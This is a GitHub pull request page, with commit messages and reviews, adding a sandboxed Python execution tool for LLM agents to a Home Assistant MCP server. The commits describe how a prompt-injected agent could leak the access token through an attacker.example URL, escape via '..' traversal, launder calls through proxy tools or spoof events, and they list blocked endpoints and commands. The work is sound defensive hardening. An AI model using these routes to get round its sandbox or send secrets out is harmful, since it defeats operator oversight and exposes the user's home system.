feat: add ha_manage_custom_tool — sandboxed code execution escape hatch - #854
Conversation
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request adds an opt-in 'escape hatch' mechanism that enables LLMs to execute custom Python code for complex tasks that cannot be handled by existing tools. By leveraging a sandboxed interpreter, the implementation ensures that code execution remains isolated and secure while providing a bridge to interact with the broader MCP toolset. Highlights
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here. Footnotes
|
There was a problem hiding this comment.
Code Review
This pull request introduces a new sandboxed code execution tool, ha_execute_code, which allows LLMs to run custom Python code using pydantic-monty. The implementation includes configurable resource limits for duration and memory. I have identified a missing configuration parameter for recursion depth, which should be added to the Settings class and enforced in the ResourceLimits configuration to ensure consistent safety guardrails.
|
I actually didn't mean to post this PR yet, permissions got screwy on claude code and it auto-posted it. This one will probably be in draft for a while so please disregard it till I mark it ready for review, I need to do a lot of testing on it. |
…homeassistant-ai#836, homeassistant-ai#850, homeassistant-ai#854, dev57 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…homeassistant-ai#836, homeassistant-ai#850, homeassistant-ai#854, dev58 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
|
/gemini review |
There was a problem hiding this comment.
Code Review
This pull request introduces 'Code Mode,' a feature allowing AI assistants to execute sandboxed Python code via a new ha_manage_custom_tool tool. The implementation includes resource limit configurations, documentation, and E2E tests. Feedback identifies documentation inaccuracies regarding sandbox API access, a violation of the statelessness principle due to global in-memory tool storage, and provides suggestions for improving exception handling and configurability.
…homeassistant-ai#850, homeassistant-ai#853, homeassistant-ai#854, dev59 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…homeassistant-ai#850, homeassistant-ai#853, homeassistant-ai#854, dev60 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…homeassistant-ai#857, dev61 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…homeassistant-ai#857, dev66 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…only, dev68 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…homeassistant-ai#857, dev69 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Tools like ha_manage_addon (homeassistant-ai#913) and ha_manage_custom_tool (homeassistant-ai#854) combine several operations (get/set/list/call) behind one tool. The existing verb list had no good fit — "manage" captures this pattern. Updated in all four locations: - AGENTS.md naming convention + docstring verb list - .gemini/styleguide.md naming convention + docstring verb list Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…tion Removes `ha_manage_custom_tool` (PR homeassistant-ai#854, not yet merged, name not finalized) and replaces it with a capability-based description to avoid naming-convention violations on a forward reference.
* docs(security): add scope, out-of-scope, and OAuth beta warning * fix(security): clarify out-of-scope deployment item per GB review * fix(security): restore good-faith requirement per GB review * fix(security): remove redundant auth bypass from OAuth mode list * fix(security): add coordinated disclosure timeline per GB review * docs(security): replace speculative tool name with capability description Removes `ha_manage_custom_tool` (PR #854, not yet merged, name not finalized) and replaces it with a capability-based description to avoid naming-convention violations on a forward reference. * fix: correct env var name, remove unmerged sandbox ref, drop stale CVE count --------- Co-authored-by: Patch76 <patch76@users.noreply.github.com>
d714dd0 to
65d958c
Compare
LLM agents routinely reach for ha_config_set_yaml to create trigger-based template sensors even though ha_set_config_entry_helper (domain=template) supports them natively. The previous description listed ha_config_set_helper as the preferred alternative for template sensors, but ha_config_set_helper's helper_type enum does not include 'template' — so an agent that tried to follow the guidance would hit a schema error and then fall back to raw YAML editing. This change: - Reframes the docstring and tool title as an escape hatch. The first sentence now warns instead of welcoming, and the dedicated-tool preference list is the first thing a model sees. - Points template sensors (state-based AND trigger-based) at the correct tool, ha_set_config_entry_helper with helper_type='template', which does support triggers via the config entry flow. - Hardens the yaml_path parameter description with per-key warnings, so the nudge survives context compression even when the full docstring is trimmed by the client. - Adds a required justification parameter (mirroring the pattern from ha_manage_custom_tool in homeassistant-ai#854). Justification is validated non-empty, logged, and exists purely as friction — the goal is to make an agent pause and articulate why no dedicated tool fits before reaching for the escape hatch. Ref: discussion homeassistant-ai#936
|
With everything else going on I'll acknowledge that this one is a long way from merging. I have tested it and discovered that it works pretty well, but I need to test further to make sure that it has sufficient guardrails such as making sure it cannot touch any yaml directly, and that it cannot break HA in any way. I also need to make sure LLMs won't jump to it unnecessarily when it's enabled. I think that this will be a great "Swiss army knife" type tool, I'm envisioning it as being capable of making its own mini MCPs for add-ons since it saves the tools, and as being able to do small one-off surgical type tools. |
…#942) * feat: harden ha_config_set_yaml description and require justification LLM agents routinely reach for ha_config_set_yaml to create trigger-based template sensors even though ha_set_config_entry_helper (domain=template) supports them natively. The previous description listed ha_config_set_helper as the preferred alternative for template sensors, but ha_config_set_helper's helper_type enum does not include 'template' — so an agent that tried to follow the guidance would hit a schema error and then fall back to raw YAML editing. This change: - Reframes the docstring and tool title as an escape hatch. The first sentence now warns instead of welcoming, and the dedicated-tool preference list is the first thing a model sees. - Points template sensors (state-based AND trigger-based) at the correct tool, ha_set_config_entry_helper with helper_type='template', which does support triggers via the config entry flow. - Hardens the yaml_path parameter description with per-key warnings, so the nudge survives context compression even when the full docstring is trimmed by the client. - Adds a required justification parameter (mirroring the pattern from ha_manage_custom_tool in #854). Justification is validated non-empty, logged, and exists purely as friction — the goal is to make an agent pause and articulate why no dedicated tool fits before reaching for the escape hatch. Ref: discussion #936 * fix(internal): address Gemini review feedback - Correct parameter name: ha_set_config_entry_helper takes `helper_type='template'`, not `domain='template'`. Wrong parameter name in the description would cause an LLM that tried to follow the guidance to hit a schema error. - Point Groups, min/max, threshold, derivative, statistics, utility_meter, trend, filter, switch_as_x at ha_set_config_entry_helper — these are config-flow helpers, not ha_config_set_helper entries (which only handles input_*, counter, timer, schedule, zone, person, tag). - Remove utility_meter from the yaml_path description's example list — it conflicted with the "use a helper for this" line in the docstring. - Start docstring with an action verb per the repo style guide (.gemini/styleguide.md rule: Get/List/Search/Create/Update/...). - Fix test_missing_justification_rejected assertion: create_error_response returns a nested dict under "error", so `.lower()` on it raised AttributeError. Match against the stringified response instead. --------- Co-authored-by: kingpanther13 <kingpanther13@users.noreply.github.com>
…th issues
The httpx client's base_url includes /api, so leading slashes in
endpoints cause httpx to treat them as absolute paths from the host
root, bypassing the base path. This made api_get("/api/events") 404
and api_get("/events") hit the wrong path.
Added _normalize_endpoint() that strips leading slashes and any
accidental /api/ prefix, so all three forms work identically:
api_get("events"), api_get("/events"), api_get("/api/events")
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Replace hand-built {"success": False} dicts with raise_tool_error +
create_error_response to satisfy the no-return-success-false AST rule.
Also remove unused pytest import flagged by ruff.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
The session-scoped mcp_server fixture is created before the module-scoped code_mode_enabled fixture can set ENABLE_CODE_MODE. Fix by creating a fresh HomeAssistantSmartMCPServer instance in the test fixture after the env var is set, and resetting the settings singleton so the new server reads the updated config. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…r teardown
- _call_tool helper must return error dicts to sandbox code, not raise
ToolError (Monty wraps exceptions as MontyRuntimeError, breaking tests)
- Use _sandbox_error() helper to build structured error dicts that satisfy
AST lint rules (no literal {"success": False} in return statements)
- Fix code_mode_enabled fixture teardown: use os.environ.pop instead of
setting empty string (Pydantic can't parse "" as bool)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Mirrors the homeassistant-ai#942 pattern that ha_config_set_yaml uses: the ha_manage_custom_tool sandboxed code-execution tool stays available via the dev channel add-on and the ENABLE_CODE_MODE env var, but the toggle is removed from the stable add-on UI so it ships dev-channel-only. - Drop enable_code_mode from homeassistant-addon/config.yaml options + schema. Update the maintainer comment to list it alongside the other beta toggles that are intentionally not mirrored from the dev addon. - Drop the enable_code_mode entry from homeassistant-addon/translations/ en.yaml. - Tag the @mcp.tool with {"System", "beta"} so scripts/extract_tools.py appends the (beta — dev channel only) marker in the regenerated README.md / DOCS.md / tools.json on merge. - Add ha_manage_custom_tool to docs/beta.md (table + Known limitations section covering composition risk, in-memory saved tools, best-effort resource limits, ARM async path). - Remove the hand-written ### enable_code_mode toggle docs from homeassistant-addon/DOCS.md (the auto-generated tools section between ADDON_TOOLS markers gets the beta marker added by CI on merge). Dev addon (homeassistant-addon-dev/) still exposes the toggle and the shared start.py still maps it to ENABLE_CODE_MODE so dev users can opt in. src/ha_mcp/config.py still reads the env var so non-addon installs (pip / uv / uvx / Docker direct) can opt in via ENABLE_CODE_MODE=true. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds a third HA-facing escape hatch alongside api_get/api_post and
call_tool: ws_send(message) forwards a HA WebSocket command to the
shared per-client WS connection and returns the response.
Most HA registry CRUD (areas, devices, entities, automations,
dashboards) and template rendering are only reachable over the
WebSocket API, not REST. Without ws_send the sandbox could already get
to those via call_tool wrappers, but only when an MCP tool happened to
exist; ws_send fills the same role for WebSocket as api_get/api_post do
for REST — letting custom tools cover gaps directly instead of waiting
on dedicated tool PRs.
- _ws_send wraps client.send_websocket_message with the same call-count
rate limit as api_get/api_post, validates that the message is a dict
with a "type" field, and returns {"error": ...} on bad input or
exceptions instead of raising into the sandbox.
- Wired into Monty's external_functions and documented in the tool
docstring (with a config/area_registry/list example).
- Dev-addon translation and docs/beta.md updated to list ws_send
alongside the other sandbox helpers, and the Known limitations note
for ha_manage_custom_tool now calls out that WebSocket access widens
the surface to "anything the HA UI can do."
- E2E tests cover area-registry list, render_template, non-dict input
validation, and the missing-"type" guard.
Security profile is roughly the same as REST + call_tool: the sandbox
can already invoke every registered MCP write tool, so adding direct
WebSocket access does not meaningfully increase blast radius — it just
removes the requirement for a dedicated wrapper tool. Same
ENABLE_CODE_MODE=true gate, same destructiveHint=True confirmation,
same rate / time / memory / recursion limits.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The earlier ``uv lock`` run that regenerated uv.lock for the
pydantic-monty addition picked up the older mypy 1.19.1, downgrading
from master's 1.20.2. mypy 1.19.1 fails on tools_energy.py:834 with
Unsupported operand types for - ("set[Literal[...]]" and "set[str]")
(set subtraction direction inference regression — set[Literal[...]] -
set[str] doesn't widen back to set[str] in 1.19.1). The exact same code
type-checks cleanly under master's 1.20.2, so re-pin to that.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Removes tests/src/e2e/workflows/dashboards/test_living_room_dashboard.py. This file was working-branch carryover that landed in this PR by accident (originally flagged by @Patch76 in homeassistant-ai#854 (comment)). It exercises ha_config_set_dashboard / ha_config_get_dashboard / ha_config_delete_dashboard rather than ha_manage_custom_tool, so it doesn't belong in this PR's scope, and it was failing CI because ha_config_delete_dashboard's parameter was renamed from dashboard_id to url_path after the test was written. The other carryover files (docs/superpowers/specs/*.md, mcp-test-config.json) already dropped naturally during the rebase since they only existed via a merge commit. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ation Addresses review findings from the in-house code-review pass on PR homeassistant-ai#854. Security -------- * `_normalize_endpoint` now rejects anything that isn't a HA-relative path: absolute URLs (`http://...`, `https://...`), protocol-relative URLs (`//host/path`), and userinfo (`user@host/...`). httpx, when handed an absolute URL on a client with `base_url` and an Authorization header, dispatches the request to the absolute host *with the bearer header still attached* — a prompt-injected LLM running `await api_get("http://attacker.example/x")` would have exfiltrated the HA Long-Lived Access Token (or in addon mode, the far-more-privileged SUPERVISOR_TOKEN). _normalize_endpoint raises before the request leaves the host. New TestCodeModeSecurity tests cover absolute, protocol-relative, and userinfo URL rejection for both api_get and api_post. Correctness ----------- * `_call_tool` now increments call_count *before* the _BLOCKED_TOOLS check, so a tight loop on a blocked name actually trips the per-execution call cap (was previously free). * `_extract_tool_result` checks `isError` / `is_error` on FastMCP ToolResult objects before falling through to `str(result)`. Without this, an unfamiliar error-result type would be returned to the sandbox as a successful string and `result.get("error")` would miss it. The `str(result)` fallback now also logs at WARNING so the opaque-repr path is visible to operators. * The `except ImportError: pass` block around `run_monty_async` was catching ImportErrors raised inside the function body too (e.g. a missing native shim). Split the import and the call into separate try blocks so a real failure surfaces. * All four bridge functions (`_api_get`, `_api_post`, `_ws_send`, `_call_tool`) now log at WARNING with `exc_info=True` when their catch-all `except` fires. The `[:200]`-truncated dict still goes to the sandbox; full traceback goes to operator logs. * `ha_manage_custom_tool` now enforces mutual exclusion of `code`, `run_saved`, and `list_saved` — previously the dispatch was a silent priority chain (list_saved > run_saved > code) and passing both would discard the lower-priority arg without telling the caller. Configuration ------------- * `code_mode_max_*` Field defaults now have `ge=` lower bounds and sane upper bounds: duration 1-300 s, memory 1 MB-256 MB, recursion 1-10000, invocations 1-10000. Previously a misconfigured `CODE_MODE_MAX_INVOCATIONS=0` or negative duration would silently break the tool. Docs ---- * Module docstring corrected from "three external functions" to four (api_get, api_post, ws_send, call_tool — `ws_send` was added in this PR but the count wasn't updated). * Module docstring now notes that `api_get`/`api_post` reject absolute URLs. Tests ----- Added in `tests/src/e2e/tools/test_create_custom_tool.py`: * `TestCodeModeValidation::test_modes_mutually_exclusive_*` — three pairs (code+run_saved, code+list_saved, run_saved+list_saved). * `TestCodeModeSecurity::test_api_get_rejects_absolute_url`, `test_api_post_rejects_absolute_url`, `test_api_get_rejects_protocol_relative_url`, `test_api_get_rejects_userinfo_url`. * Tightened `TestCodeModeWebSocket::test_ws_send_area_registry_list` to assert the area-registry shape (area_id + name keys) instead of just "is_list". * Tightened `TestCodeModeWebSocket::test_ws_send_render_template` to assert exact equality on the rendered value instead of substring. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…turns
The ast-grep `no-return-success-false` rule rightly flags
``{"success": False, ...}`` returns from tool functions because they
don't set isError on the MCP response. ``_extract_tool_result`` is a
sandbox-side helper (its dicts go back to user Python via call_tool, not
to the MCP client), so the rule's spec rationale doesn't apply, but the
shape is also gratuitously different from the rest of the sandbox
helpers.
The other bridge functions (``_api_get``, ``_api_post``, ``_ws_send``)
already return plain ``{"error": "..."}`` on failure with no
``success`` key. Match that shape here so sandbox code can do
``result.get("error")`` uniformly across all four helpers, and so the
ast-grep rule doesn't get retripped on a future edit.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…helper
Saved custom tools now survive server / addon restarts when
``CODE_MODE_SAVED_TOOLS_PATH`` is set. The dev addon sets this to
``/data/saved_tools.json`` by default (Supervisor maps ``/data``
per-addon and preserves it across addon updates). Operators running
ha-mcp outside the addon can opt in by setting the env var themselves.
Goal: let people build their own "MCP within an MCP" — a personal
library of single-purpose tools that the LLM has accumulated over
time and can reach for immediately rather than reauthoring on every
session. The infra is intentionally simple (one JSON file, atomic
write, 256-tool cap, schema versioned for future migrations) and the
saved-tools cache stays in process memory so reads are free.
Persistence
-----------
* ``code_mode_saved_tools_path`` setting in ``src/ha_mcp/config.py``
(env var ``CODE_MODE_SAVED_TOOLS_PATH``). Empty default = in-memory
only (preserves prior non-addon behaviour).
* ``_load_saved_tools(path)`` and ``_save_saved_tools(path)`` helpers
in ``tools_code.py``. Load filters malformed entries (bad name, bad
shape, missing code) and caps at ``_MAX_SAVED_TOOLS=256``. Save
uses ``tempfile.NamedTemporaryFile`` in the same dir + ``replace``
so a crash mid-write can't corrupt the existing file. Schema is
``{"version": 1, "saved_at": iso, "saved_tools": {...}}`` so
future migrations have a hook.
* ``register_code_tools`` hydrates ``_saved_tools`` from disk.
* ``ha_manage_custom_tool`` persists after every successful
``save_as``. Hitting the 256-tool cap on a new save raises a
validation error suggesting ``delete_saved_tool``.
* ``homeassistant-addon/start.py`` sets
``CODE_MODE_SAVED_TOOLS_PATH=/data/saved_tools.json`` via
``setdefault`` so operators can override.
Sandbox helper
--------------
* New external function ``delete_saved_tool(name)`` exposed alongside
``api_get`` / ``api_post`` / ``ws_send`` / ``call_tool`` in Monty's
``external_functions`` dict. Validates the name against
``_SAVE_NAME_PATTERN``, returns ``{"deleted": True, "name": ...}``
on success or ``{"error": "..."}`` on validation failure / unknown
name. Persists immediately when the file path is configured.
* No new top-level mode parameter — keeping the tool's surface
``code`` / ``run_saved`` / ``list_saved`` and routing CRUD through
sandbox code keeps the API tight.
Tests
-----
* ``tests/src/unit/test_saved_tools_persistence.py`` (new): 13 unit
tests covering empty path / missing file / malformed JSON / top-level
shape / invalid entry filtering / justification normalization / cap
enforcement, plus save round-trip / parent-dir creation / atomic
overwrite / no-op on empty path.
* ``TestSavedTools`` in the existing E2E suite: three new tests for
the sandbox-driven ``delete_saved_tool`` round-trip, error on
nonexistent name, and rejection of names that don't match the
validation regex.
Docs
----
* ``docs/beta.md`` Known limitations section: replaced "saved tools
are stored in process memory only" with the persistence story (cap,
copy-to-migrate workflow, dev-addon default vs opt-in env var
elsewhere). Resource-limits paragraph clarifies which limit is
enforced by Monty vs ha-mcp itself, and a new paragraph documents
the absolute-URL block on api_get/api_post.
* Dev-addon ``enable_code_mode`` translation description updated to
mention save/delete and the persistence path.
* ``ha_manage_custom_tool`` user-facing docstring lists
``delete_saved_tool`` in the available functions and adds a delete
example.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ors, audit log
Implements the stress-test-driven mitigations 1, 2, 4, and 5 from the
in-PR review comment. Mitigation 3 (call_tool denylist for beta tools)
was intentionally skipped after re-checking the technical claim — the
file-path / yaml-key allowlists are enforced inside the underlying HA
custom-component services, not the ha-mcp tool body, so they hold even
when the sandbox calls those tools through call_tool.
api_post path blocklist
-----------------------
Reject the following before the request leaves the host:
- ``states/*`` — POST /api/states/<entity_id> can conjure ghost
entities and override real ones in the in-memory state machine,
which spoofs other agents and pollutes logbook/history during the
session. State changes should go through call_tool('ha_call_service'
...) so the integration's state machine is authoritative.
- ``events/<HA-internal-event-name>`` — denylist of 24 HA Core event
names (state_changed, automation_reloaded, *_registry_updated,
homeassistant_*, lovelace_updated, recorder_*_statistics_generated,
etc.). Custom event types (e.g. my_app_completed) stay allowed.
- ``config/{automation,script,scene}/config/*`` — these endpoints back
the wrapping tools but skip schema validation, reference checks, and
hash-locking when called raw. Forced through ha_config_set_automation
/ ha_config_set_script / ha_config_set_scene.
ws_send command blocklist
-------------------------
Reject 14 WebSocket commands that either rewrite persistent state with
no sandbox-appropriate use case, or bypass wrapping-tool validation:
- ``config/core/update`` — persistently overwrites
location_name/country/currency/time_zone/lat-long in
.storage/core.config (no MCP tool wraps this).
- ``lovelace/config/save`` and
``lovelace/dashboards/{create,delete,update}`` — bypass
ha_config_set_dashboard's storage-mode collision check and other
invariants.
- ``config/{area,device,entity}_registry/{delete,disable,update}`` —
forced through ha_config_set_area / ha_update_device / ha_set_entity
etc.
Read-only registry queries (``config/area_registry/list`` and
friends), service calls (``services/<domain>/<service>``), webhook
firing, and custom event types remain allowed.
Sandbox error classification
----------------------------
Replace the generic INTERNAL_ERROR + "check the Python code for syntax
errors" suggestion list with a three-bucket classifier:
- ``SANDBOX_LIMIT_EXCEEDED`` for MemoryError / RecursionError / timeout
/ wall-clock — suggestions point at CODE_MODE_MAX_* env vars and
ergonomic alternatives (streaming, iteration).
- ``SANDBOX_SYNTAX_UNSUPPORTED`` for ModuleNotFoundError /
NotImplementedError / hard SyntaxError — suggestions name the
injected helpers (no imports, no classes, no with/match).
- ``SANDBOX_RUNTIME_ERROR`` for everything else — suggestions name
the actual exception type and the Monty/CPython divergences callers
trip over most often (e.g. next() requires an iterator, await
required on injected helpers).
The classifier inspects both ``type(exc).__name__`` and ``str(exc)``
because Monty wraps inner exceptions in MontyRuntimeError; matching
the wrapper name alone wouldn't distinguish a memory cap from an
unsupported feature.
Audit log
---------
Every state-changing sandbox call now logs a structured
``sandbox.api_post endpoint=... data_keys=...`` (or
``sandbox.ws_send type=...``) line at DEBUG level. Blocked attempts
log a ``sandbox.{api_post,ws_send}.blocked`` line at INFO level so
they're visible in default operator logs. DEBUG was chosen for the
allow-path instead of INFO because the typical per-execution call
volume (up to 100) would be excessive at INFO, and the operator can
escalate the ha_mcp.tools.tools_code logger when investigating.
Tests
-----
* ``TestCodeModeApiPostBlocklist`` (5 tests) — states/*, HA-internal
events, custom-event positive case, automation/script/scene config.
* ``TestCodeModeWsSendBlocklist`` (4 tests) — config/core/update,
lovelace/config/save, registry mutations, registry-list positive
case.
* ``TestCodeModeErrorClassification`` (3 tests) — import → syntax,
class definition → syntax, parse error → syntax.
Plus a quick standalone classifier sanity script verified all 9
exception-type → code mappings and all 12 endpoint-prefix decisions
locally.
Docs
----
``docs/beta.md`` Known limitations section gained three new
paragraphs: the safer-path enforcement (with the allow-list of what
stays unblocked), the new SANDBOX_* error codes, and the audit-log
toggle.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Implements the 4 real bugs, 3 doc fixes, and 3 test gaps identified by
the second-pass review of the persistence + blocklist work.
Bugs
----
* ``_API_POST_BLOCKED_PREFIXES``: removed the ``config/scene/config/``
entry. The error message it returned told the LLM to use
``ha_config_set_scene``, which does not exist in the registered tool
catalogue (no scene-related ``set`` tool exists at all). Blocking the
REST path without a validated alternative was net-negative — it just
removed capability. The block can come back when a wrapping tool
lands; comment in the code records that decision.
* ``_save_saved_tools`` now returns ``bool`` and the persistence
failure path is no longer silent. The save_as branch in
``ha_manage_custom_tool`` rolls back the in-memory cache on a False
return and surfaces a ``save_warning`` field in the response, with
``saved_as`` reset to ``None``. ``_delete_saved_tool`` also rolls
back on failure and returns ``{"error": ...}`` instead of the prior
misleading ``{"deleted": True}``. Persistence was the documented
contract of this PR, so the prior "log at WARNING and lie with
success: True" behaviour was a real reliability gap, not just
cosmetic.
* ``_load_saved_tools`` distinguishes ``FileNotFoundError`` (legitimate
"starting empty") from other ``OSError``s (genuine I/O failure on
an existing file). When the latter fires, a new module-level
``_saved_tools_load_failed`` flag suppresses subsequent persistence
for the session — preventing a transient ``PermissionError`` at
startup from cascading into "next save wipes out the unreadable
file with empty content" data loss. The flag is cleared on the
next successful load.
* The audit-log line now uses ``sorted(map(str, data.keys()))`` instead
of ``sorted(data.keys())``. Monty allows mixed-type dict keys, and
the previous form would raise ``TypeError`` on the first
``api_post("/foo", {1: "x", "a": "y"})`` invocation, propagating
through the audit-log step into the catch-all ``except Exception``
and surfacing as a generic "api_post failed" with no hint that the
audit-log step was the real culprit.
Schema-version contract honoured
--------------------------------
``_load_saved_tools`` now actually reads ``data.get("version")`` and
refuses to interpret anything that isn't ``_SAVED_TOOLS_SCHEMA_VERSION``
(currently 1). The prior code wrote the version field but never
checked it, so a future v2 file would have been silently downgraded
to v1 semantics by current code. Mismatch sets the load-failed flag
so we don't atomically replace the unfamiliar file with our v1
shape.
Docs
----
* ``docs/beta.md`` audit-log paragraph now shows the correct
``configuration.yaml`` / ``logger.logs.<name>: debug`` snippet
instead of the previous bogus "set ``logger
ha_mcp.tools.tools_code: debug`` in your add-on configuration."
(HA's logger integration lives in configuration.yaml, not addon
options.)
* The "blocked endpoints" paragraph in beta.md was updated to match
the now-shorter ``_API_POST_BLOCKED_PREFIXES`` and explicitly notes
the scene exception.
* The stale ``ha_config_set_scene`` reference in the
``ha_config_set_yaml`` Known Limitations section (preexisting) was
also removed since I was in the file.
* The ``_MAX_SAVED_TOOLS`` constant comment now mentions both load-
and save-time enforcement; the ``_SAVED_TOOLS_SCHEMA_VERSION``
comment matches reality (the load path actually consults it).
* The ``_API_POST_BLOCKED_PREFIXES`` block comment splits the
conflated rationale into two flavours (no-legitimate-use-case vs
has-wrapping-tool).
Tests
-----
* ``TestSaveSavedTools.test_returns_true_on_success`` and
``test_returns_true_when_path_unset`` pin the new bool contract.
* ``TestSchemaVersionGuard`` (3 tests) covers refusing unknown
version, missing version field, and not overwriting an unfamiliar
file.
* ``TestLoadFailedFlag`` (2 tests) covers flag-clear-on-success and
save-skipped-when-set.
* ``TestHydrationRoundTrip`` (2 tests) covers the load→modify→save→
reload lifecycle, which the original suite was missing.
* ``TestSaveCapEnforcement`` (2 tests) covers the load-side cap and
pins that ``_save_saved_tools`` itself does not self-cap (the
registration-site code is the upper-bound guard).
24 unit tests now pass (was 13). Lint/mypy/ast-grep clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous combined test parametrized both ``script`` and ``scene`` and asserted both were blocked, but the round-2 review correctly flagged that ``config/scene/config/*`` should NOT be blocked because no ``ha_config_set_scene`` wrapping tool exists to redirect to. Removed the scene entry from ``_API_POST_BLOCKED_PREFIXES`` in 0bb0dec but missed updating this test, which caught the regression in CI on both runners. Replace with two tests: * ``test_api_post_blocks_script_config_write`` — single-kind assertion for script (the only one of the two with a wrapping tool). * ``test_api_post_allows_scene_config_write`` — positive assertion that scene writes are NOT sandbox-blocked. The HA endpoint may reject the body for legitimate reasons (schema, missing fields), but the sandbox-side blocklist must not be the cause. This will fail loudly if a future maintainer adds the block back without also adding the wrapping tool. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ch76 review findings Implements the 9-item plan in homeassistant-ai#854 (comment) addressing the CHANGES_REQUESTED review at homeassistant-ai#854 (review) on commit 11ba402. Blocker 1 — recursive-self-call guard bypassable via ha_call_write_tool ----------------------------------------------------------------------- Two-layer fix: * ``CategorizedSearchTransform`` gains an ``enable_code_mode: bool`` constructor parameter (default False, preserves prior behaviour for installations that aren't running code mode). When True, ``_rebuild_category_cache`` swaps ``get_tool_catalog(ctx)`` for ``_get_visible_tools(ctx)`` — the same FastMCP helper that ``BM25SearchTransform`` already uses. Pinned tools (including ``ha_manage_custom_tool``) drop out of ``_read_tools`` / ``_write_tools`` / ``_delete_tools``, so ``categorized_call`` for a pinned name falls through to the ``RESOURCE_NOT_FOUND`` branch rather than dispatching the underlying tool. ``server.py`` flips the flag on whenever ``settings.enable_code_mode`` is True. * ``_BLOCKED_TOOLS`` (sandbox-side defense in depth) now also includes the four search-transform synthetics: ``ha_search_tools``, ``ha_call_read_tool``, ``ha_call_write_tool``, ``ha_call_delete_tool``. Even if a future regression re-enables the proxy dispatch, sandbox code can't reach the laundering path. Direct calls to underlying tools by their real name (``call_tool("ha_get_history", ...)``) keep working — the block is on the synthetics only, so individual underlying tools can still be denylisted in the future without needing to rework the proxy. Blocker 2 — ``..`` traversal in ``_normalize_endpoint`` ------------------------------------------------------- httpx happily resolves ``base_url='http://ha:8123/api'`` + ``../auth/providers`` to ``http://ha:8123/auth/providers``, escaping the ``/api/`` prefix. After ``lstrip("/")`` and the optional ``api/`` strip, ``_normalize_endpoint`` now splits on ``/`` and rejects any segment exactly equal to ``..``. ``..bar`` (filename starting with two dots) and ``...`` (three dots) stay allowed — they aren't traversal segments, just unusual filenames. Verified against 12 endpoint cases covering all 4 traversal patterns plus prior security guards (absolute URL, protocol-relative, userinfo) still holding. Additional registry blocks (``_BLOCKED_WS_COMMANDS``) ----------------------------------------------------- Added 9 entries for floor / label / category registry mutations to match the existing area / device / entity coverage. Each has a wrapping MCP tool (``ha_config_set_floor`` / ``ha_config_set_label`` / ``ha_config_set_category``) so the same "force through the validated path" rationale applies. Additional event blocks (``_BLOCKED_HA_INTERNAL_EVENTS``) --------------------------------------------------------- Added ``script_finished`` (pairs with the existing ``script_started`` block) and ``logbook_entry`` (this event IS the documented logbook write API; spoofing injects fabricated rows directly into the user's primary investigation tool — data-integrity issue, not just attack surface). ``automation_triggered`` and ``call_service`` stay allowed — legit "verify my handler reacts" use cases and downstream consumers can already check event context for provenance. ``list_saved`` shape — nest under ``data.saved_tools`` ------------------------------------------------------ ``_SAVE_NAME_PATTERN`` accepts every key the *other* response shapes use (``result``, ``code``, ``justification``, ``saved_tool``, ``count``). A consumer doing ``r["data"]["result"]`` after a list_saved call would have gotten a saved-tool entry instead of a run-result. Fixed by nesting the dict under a stable ``saved_tools`` key. Updated ``test_list_saved_tools`` to pin the new shape. Log injection (``%s`` interpolation of LLM-controlled strings) -------------------------------------------------------------- Added ``_log_safe`` helper that replaces ``\r`` / ``\n`` / ``\t`` with spaces and truncates to 200 chars. Applied to the ``ha_manage_custom_tool invoked — justification: %s`` log line at ``tools_code.py:1151`` so an LLM-supplied ``"real reason\nFAKE_CRITICAL: …"`` cannot inject a synthetic second log line. Audit-log endpoint/type fields use ``%r`` already which escapes via repr(); no change needed there. The DEBUG-level ``code:\n%s`` line stays raw — multi-line is intentional (operator's primary forensic artefact) and the format string already opens a fresh line so there's nothing to inject into. Tests ----- * ``TestCodeModeAdditionalResourceLimits`` (3 tests) — memory / recursion / invocation-cap. Previous suite only covered timeout. * ``TestCodeModeNormalizeEndpointTraversal`` (1 parametrized test, 4 rows) — all 4 ``..`` traversal patterns reject. * ``TestCodeModeProxyLaunderingBlocked`` (1 parametrized test) — ``call_tool`` to each of the 4 search synthetics returns the ``AUTH_INSUFFICIENT_PERMISSIONS`` block. * ``test_list_saved_tools`` updated to verify new ``data.saved_tools[name]`` + ``data.count`` shape. * ``test_save_warning_rollback_shape`` (skipped) — placeholder noting that the unit suite covers the persistence-failure rollback; E2E coverage requires runtime filesystem 